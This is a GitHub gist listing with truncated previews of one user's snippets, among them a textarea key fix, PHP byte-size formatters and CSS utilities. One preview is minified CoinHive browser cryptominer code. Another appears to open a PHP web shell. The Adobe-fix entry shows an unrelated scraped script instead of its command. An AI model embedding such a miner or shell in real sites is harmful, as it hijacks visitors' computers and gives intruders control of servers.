Skip to content

Instantly share code, notes, and snippets.

View kazimolmez's full-sized avatar

Kazım Ölmez kazimolmez

View GitHub Profile
@kazimolmez
kazimolmez / index.js
Created June 25, 2023 01:17 — forked from soullivaneuh/index.js
Prevent PageUp and PageDown press in textarea moving website out of the window
// @see http://www.competa.com/blog/chrome-bug-pageup-pagedown-textarea-moves-website-window/
// @see https://bugs.chromium.org/p/chromium/issues/detail?id=890248
document.querySelector('textarea').addEventListener('keydown', event => {
if (event.key === 'PageUp' || event.key === 'PageDown') {
const cursorPosition = event.key === 'PageUp' ? 0 : event.target.textLength;
event.preventDefault();
event.target.setSelectionRange(cursorPosition, cursorPosition);
}
});
@kazimolmez
kazimolmez / AdobeAMDFix.md
Created January 1, 2021 07:35 — forked from naveenkrdy/AdobeAMDFix.md
To fix adobe products crashes on AMD hackintosh

Adobe Crash Fix XLNC

Instructions

  1. Install needed adobe apps from adobe creative cloud.

  2. Open Terminal.

  3. Copy-paste the below command to your terminal and run it (enter password if asked).

!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,"&quot;")+'"></a>',d.childNodes[0].getAttribute("href")||""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r)}}var l="/cdn-cgi/l/ema
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824)
{
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
}
elseif ($bytes >= 1048576)
{
$bytes = number_format($bytes / 1048576, 2) . ' MB';
}
@kazimolmez
kazimolmez / PHP text size to byte
Created July 26, 2019 07:10
PHP text size to byte
function strBytes($str){
// STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
// Number of characters in string
$strlen_var = strlen($str);
// string bytes counter
$d = 0;
@kazimolmez
kazimolmez / filesize.php
Last active July 7, 2019 21:53
Php file size format
function formatBytes($bytes, $precision = 2) {
$units = array("b", "kb", "mb", "gb", "tb");
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= (1 << (10 * $pow));
return round($bytes, $precision) . " " . $units[$pow];
@kazimolmez
kazimolmez / Javascript Miner
Created October 16, 2018 06:16
Javascript Miner
(function(window){"use strict";var Miner=function(siteKey,params){params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,params.throttle||0));this._autoThreads={enabled:!!params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!params.forceASMJS;this._as
@kazimolmez
kazimolmez / Responsive Circle
Created September 8, 2018 08:30
Responsive Circle
<div class="circle">
<div class="content">
<span>Centered text</span>
</div>
</div>
<style>
html {
font: 300 100%/1.5 Ubuntu;
color: #333;
@kazimolmez
kazimolmez / essential.css
Created September 7, 2018 10:54
essential.css
.f-s-200{font-size:200px!important}.f-s-199{font-size:199px!important}.f-s-198{font-size:198px!important}.f-s-197{font-size:197px!important}.f-s-196{font-size:196px!important}.f-s-195{font-size:195px!important}.f-s-194{font-size:194px!important}.f-s-193{font-size:193px!important}.f-s-192{font-size:192px!important}.f-s-191{font-size:191px!important}.f-s-190{font-size:190px!important}.f-s-189{font-size:189px!important}.f-s-188{font-size:188px!important}.f-s-187{font-size:187px!important}.f-s-186{font-size:186px!important}.f-s-185{font-size:185px!important}.f-s-184{font-size:184px!important}.f-s-183{font-size:183px!important}.f-s-182{font-size:182px!important}.f-s-181{font-size:181px!important}.f-s-180{font-size:180px!important}.f-s-179{font-size:179px!important}.f-s-178{font-size:178px!important}.f-s-177{font-size:177px!important}.f-s-176{font-size:176px!important}.f-s-175{font-size:175px!important}.f-s-174{font-size:174px!important}.f-s-173{font-size:173px!important}.f-s-172{font-size:172px!important}.f-s-171{
<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );